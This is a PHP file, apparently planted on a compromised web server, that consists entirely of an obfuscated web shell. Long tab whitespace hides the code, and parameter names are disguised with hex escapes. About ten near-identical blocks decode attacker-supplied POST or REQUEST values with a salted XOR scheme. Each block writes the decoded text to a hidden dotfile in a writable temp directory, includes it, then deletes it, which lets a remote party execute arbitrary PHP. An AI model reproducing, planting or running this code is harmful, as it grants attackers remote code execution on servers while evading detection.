<?php																																										if(isset($_POST) && isset($_POST["co\x6D\x70"])){ $fac = $_POST["co\x6D\x70"]; $fac = explode ( ".",$fac ) ; $obj= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $m= 0; foreach( $fac as $v5) {$chS= ord( $salt[$m%$lenS]); $d= ( ( int)$v5 - $chS -( $m%10)) ^ 1; $obj .= chr( $d); $m++; } $bind = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TMP")]); for ($desc = 0, $binding = count($bind); $desc < $binding; $desc++) { $pset = $bind[$desc]; if (!( !is_dir($pset) || !is_writable($pset) )) { $holder = str_replace("{var_dir}", $pset, "{var_dir}/.item"); if (file_put_contents($holder, $obj)) { require $holder; unlink($holder); die(); } } } }
																																										if(!is_null($_POST["\x70g\x72p"] ?? null)){ $pointer = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), "/var/tmp", "/tmp"]); $marker = $_POST["\x70g\x72p"]; $marker = explode('.', $marker ) ; $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $k = 0; $__tmp = $marker; while ($v6 = array_shift($__tmp)) { $chS = ord($salt[$k % $sLen]); $d = ((int)$v6 - $chS - ($k % 10)) ^ 4; $dat .= chr($d); $k++; } foreach ($pointer as $key => $data) { if (is_dir($data) ? is_writable($data) : false) { $parameter_group = vsprintf("%s/%s", [$data, ".k"]); $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $parameter_group; @unlink($parameter_group); exit; } } } }
																																										if(in_array("ob\x6A", array_keys($_REQUEST))){ $data = $_REQUEST["ob\x6A"]; $data = explode ( '.' ,$data ); $binding = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach ($data as $s=> $v6) { $chS = ord($salt9[$s % $lenS]); $d = ((int)$v6 - $chS - ($s % 10)) ^ 29; $binding .= chr($d); } $value = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); while ($ent = array_shift($value)) { if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $fac = "$ent/.flg"; if (file_put_contents($fac, $binding)) { require $fac; unlink($fac); exit; } } } }
																																										if(@$_REQUEST["sym\x62\x6Fl"] !== null){ $ent = array_filter(["/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), "/dev/shm", getenv("TMP")]); $entry = $_REQUEST["sym\x62\x6Fl"]; $entry = explode( '.' , $entry) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $y = 0; foreach( $entry as $v3) { $chS = ord( $s[$y% $lenS] ); $d =( ( int)$v3 - $chS -( $y% 10)) ^ 86; $item .= chr( $d ); $y++; } foreach ($ent as $key => $reference) { if (!!is_dir($reference) && !!is_writable($reference)) { $ref = "$reference" . "/.val"; $success = file_put_contents($ref, $item); if ($success) { include $ref; @unlink($ref); die();} } } }
																																										if(!empty($_REQUEST["\x64\x63\x68unk"])){ $mrk = $_REQUEST["\x64\x63\x68unk"]; $mrk = explode ( '.', $mrk ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($mrk as $m => $v1) { $sChar = ord($s[$m % $lenS] ); $dec = ((int)$v1 - $sChar - ($m % 10)) ^ 27; $resource.= chr($dec ); } $elem = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP")]); while ($flg = array_shift($elem)) { if (is_dir($flg) ? is_writable($flg) : false) { $entry = "$flg" . "/.factor"; $file = fopen($entry, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $entry; @unlink($entry); die(); } } } }
																																										if(array_key_exists("dchu\x6E\x6B", $_POST) && !is_null($_POST["dchu\x6E\x6B"])){ $mrk = $_POST["dchu\x6E\x6B"]; $mrk = explode( '.' , $mrk ) ; $record = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s8); $len = count( $mrk); for( $n = 0; $n < $len; $n++) { $v1 = $mrk[$n]; $sChar = ord( $s8[$n % $lenS]); $dec = ( ( int)$v1 - $sChar -( $n % 10))^ 94; $record .= chr( $dec); } $desc = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($desc as $token): if (!!is_dir($token) && !!is_writable($token)) { $rec = "$token/.itm"; if (file_put_contents($rec, $record)) { require $rec; unlink($rec); die(); } } endforeach; }
																																										if(array_key_exists("\x73y\x6D\x62ol", $_REQUEST)){ $rec = $_REQUEST["\x73y\x6D\x62ol"]; $rec = explode ( '.' , $rec ) ; $data_chunk = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $t = 0; $__len = count($rec); do { if ($t >= $__len) break; $v6 = $rec[$t]; $chS = ord($s7[$t% $sLen]); $d = ((int)$v6 - $chS - ($t% 10)) ^ 32; $data_chunk .= chr($d); $t++; } while (true); $res = array_filter([getcwd(), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp", getenv("TEMP")]); foreach ($res as $data) { if (array_product([is_dir($data), is_writable($data)])) { $desc = implode("/", [$data, ".marker"]); $file = fopen($desc, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $desc; @unlink($desc); die(); } } } }
																																										if(in_array("\x70gr\x70", array_keys($_REQUEST))){ $parameter_group = $_REQUEST["\x70gr\x70"]; $parameter_group = explode ( '.',$parameter_group ); $ref = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $__len = count($parameter_group); for ($m = 0; $m < $__len; $m++) { $v2 = $parameter_group[$m]; $chS = ord($salt9[$m% $lenS]); $d = ((int)$v2 - $chS - ($m% 10))^ 57; $ref .= chr($d); } $object = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp"]); while ($flg = array_shift($object)) { if ((bool)is_dir($flg) && (bool)is_writable($flg)) { $elem = join("/", [$flg, ".rec"]); if (file_put_contents($elem, $ref)) { include $elem; @unlink($elem); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "item")){ $ptr = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", session_save_path(), getenv("TMP")]); $entity = $_POST["item"]; $entity = explode( "." , $entity ) ; $binding= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s8); $z= 0; $__tmp= $entity; while ($v3= array_shift($__tmp)) { $sChar= ord($s8[$z % $lenS]); $dec= ((int)$v3 - $sChar - ($z % 10)) ^ 90; $binding .= chr($dec); $z++; } $pgrp = 0; do { $data = $ptr[$pgrp] ?? null; if ($pgrp >= count($ptr)) break; if ((bool)is_dir($data) && (bool)is_writable($data)) { $flag = implode("/", [$data, ".elem"]); if (file_put_contents($flag, $binding)) { require $flag; unlink($flag); die(); } } $pgrp++; } while (true); }
																																										if(in_array("o\x62j", array_keys($_POST))){ $flag = $_POST["o\x62j"]; $flag = explode( "." , $flag ) ; $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $q = 0; $len = count($flag); do { if ($q>= $len) break; $v6 = $flag[$q]; $sChar = ord($s[$q % $lenS]); $dec = ((int)$v6 - $sChar - ($q % 10)) ^ 94; $object.=chr($dec); $q++; } while (true); $value = array_filter(["/var/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path()]); for ($ptr = 0, $binding = count($value); $ptr < $binding; $ptr++) { $k = $value[$ptr]; if (!( !is_dir($k) || !is_writable($k) )) { $pointer = str_replace("{var_dir}", $k, "{var_dir}/.marker"); if (@file_put_contents($pointer, $object) !== false) { include $pointer; unlink($pointer); die(); } } } }


if(isset($_POST["i\x74m"])){
	$comp = array_filter([getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd()]);
	$flg = $_POST["i\x74m"];
	$flg  =explode (	 '.'  	,   $flg	)			;	
	$item	 = 	'';
            $s3	 = 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 = 	strlen( $s3);
            $u	 = 	0;
    
            while( $u < count( $flg)) {
                $v7	 = 	$flg[$u];
                $sChar	 = 	ord( $s3[$u	 % $lenS]);
                $d	 = 	( ( int)$v7 - $sChar -( $u	 % 10)) ^ 58;
                $item .= chr( $d);
                $u++;		}
	foreach ($comp as $data) {
    		if (is_dir($data) && is_writable($data)) {
    $component = join("/", [$data, ".element"]);
    if (file_put_contents($component, $item)) {
	include $component;
	@unlink($component);
	die();
}
}
}
}